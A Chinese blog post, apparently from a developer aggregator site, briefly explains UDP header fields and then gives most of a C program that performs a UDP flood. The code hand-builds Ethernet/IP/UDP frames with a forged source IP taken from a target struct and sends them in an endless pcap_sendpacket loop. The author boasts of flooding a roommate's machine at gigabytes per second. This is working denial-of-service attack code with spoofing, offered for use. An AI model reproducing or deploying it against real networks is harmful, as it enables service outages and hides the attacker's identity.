UDP flood 原理及源码 C实现
来源:互联网 发布:禹卫书法行书字体 mac 编辑:程序博客网 时间:2024/06/05 10:51
UDP是一种不可靠的、无连接的数据报服务。源主机在传送数据前不需要和目标主机建立连接。数据被冠以源、目标端口号等UDP报头字段后直接发往目的主机。这时,每个数据段的可靠性依靠上层协议来保证。在传送数据较少、较小的情况下,UDP比TCP更加高效。
如图示,UDP报文结构
●源、目标端口号字段:占2字节。作用与TCP数据段中的端口号字段相同,用来标识源端和目标端的应用进程。
●长度字段:占2字节。标明UDP头部和UDP数据的总长度字节。
●校验和字段:占2字节。用来对UDP头部和UDP数据进行校验。
和TCP不同的是,对UDP来说,此字段是可选项,而TCP数据段中的校验和字段是必须有的
下面是代码,只贴出了一部分,这个小程序下载地址为
发送速度能达到3.66GB/s, 接收方,测试时是舍友的电脑,和我只隔了一个网关,中间只有一跳,接收速度是1.8GB/s
<span style="white-space:pre"></span>_ethHeader ethHeader;_ipHeader ipHeader;_udpHeader udpHeader;///// 数据int datasize;char temp[]="-------Hello UDP World! By:hwhaocool----";// ICMP数据datasize=sizeof(temp);//////物理帧memcpy(ethHeader.dMac,attackInfo.dstMac,6);IP_ADAPTER_INFO adapter[5];DWORD buflen=sizeof(adapter);DWORD status=GetAdaptersInfo(adapter,&buflen);if(status==ERROR_SUCCESS){int i=0;for(;i<attackInfo.devNum;i++)<span style="white-space:pre">
//attackInfo.devNum是一个传进来的变量,代表网卡设备的序号,0,1,2;memcpy(ethHeader.sMac,adapter[i].Address,6);//这里不伪造是为了不破坏网关的ARP表}ethHeader.type=0x0008;///////// IP帧头ipHeader.VerAndH_length=0x45;ipHeader.tos=0;//总长度datasize=sizeof(ethHeader)+sizeof(ipHeader)+sizeof(udpHeader)+sizeof(temp);ipHeader.totalLength=htons(85);ipHeader.id=htons(2345);ipHeader.flagANDfrag=0;<span style="white-space:pre"></span>//不分片ipHeader.ttl=0x80;ipHeader.type=17;//UDP 17 ,tcp 6ipHeader.cksum=0;ipHeader.sIP=inet_addr(fakeIP);//源IP,是一个伪造好的IP,可以随意填memcpy(&ipHeader.dIP,attackInfo.dstIp,4);//目标IPipHeader.cksum=checksum((USHORT*)(&ipHeader),sizeof(ipHeader));////// UDP帧头udpHeader.sPort=htons(5000);udpHeader.dPort=htons(attackInfo.port);udpHeader.length=htons(sizeof(udpHeader)+sizeof(temp));udpHeader.cksum=0;////// 开始合并数据u_char bufdata[200];memcpy(bufdata,ðHeader,sizeof(ethHeader));datasize=sizeof(ethHeader);memcpy(bufdata+datasize,&ipHeader,sizeof(ipHeader));datasize+=sizeof(ipHeader);memcpy(bufdata+datasize,&udpHeader,sizeof(udpHeader));datasize+=sizeof(udpHeader);memcpy(bufdata+datasize,temp,sizeof(temp));datasize+=sizeof(temp);///// 开始发送数据包int i=0;for(;i<attackInfo.devNum;i++)//选择第几张网卡alldevs=alldevs->next;name=alldevs->name;//以太网pcap_t * fp;fp=pcap_open(name,100,PCAP_OPENFLAG_PROMISCUOUS,100,NULL,errbuf);while(key)pcap_sendpacket(fp,bufdata,datasize);pcap_close(fp);return 0;
注:这不是完整的程序,只是贴出来了一步一步构造UDP
报文和发送报文的代码,我是把这个写成独立的函数了,
所以好多全局变量其实在别的地方已经声明并且初始化了,读者若对某处有问题,可以留言,知无不答
这里是各个帧的结构体,
typedef struct _ethHeader{BYTE dMac[6];BYTE sMac[6];USHORT type;};typedef struct _ipHeader//20 字节的IP头部{BYTE VerAndH_length;//版本号和头部长度BYTE tos;//优先级USHORT totalLength;USHORT id;USHORT flagANDfrag;//标识和分片BYTE ttl;BYTE type;USHORT cksum;ULONG sIP;ULONG dIP;};typedef struct _udpHeader{USHORT sPort;USHORT dPort;USHORT length;USHORT cksum;//可以随意填,不用必须正确};
0 0
- UDP flood 原理及源码 C实现
- DDoS攻击原理及防护方法论(5)--UDP FLOOD攻击
- syn flood 原理及防护
- syn flood 原理及防护
- SYN Flood原理及防护
- UDP Flood
- UDP打洞源码及原理分析
- vpn原理及实现--tcp还是udp
- vpn原理及实现--tcp还是udp
- vpn原理及实现--tcp还是udp
- vpn原理及实现--tcp还是udp
- UDP打洞原理及软件简单实现
- SYN,ICMP, UDP Flood攻击原理与防护
- SYN,ICMP, UDP Flood攻击原理与防护
- UDP FLOOD【PHP】
- Linux C Socket编程原理及tcp, udp简单实例
- C++UDP通信源码
- C#实现UDP打洞 原理及代码(四)
- Linux守护进程设计规范及python实现
- linux系统调用和库函数调用的区别
- 读-《c++设计新思维-泛型编程与设计模式之应用》经典记录(英文书名:《modern c++ design》)
- 十字路口交通灯指挥系统
- 马的走法问题
- UDP flood 原理及源码 C实现
- POJ 2337 Catenyms(有向欧拉图:输出欧拉路径)
- JavaScript对象基础知识
- 类目,延展,协议
- float类型精度损失问题
- python 列表常用函数
- IOS_本地通知_消息推送_微博_蓝牙_ImagePicker
- C编码规范
- request.setAttribute()怎么用的?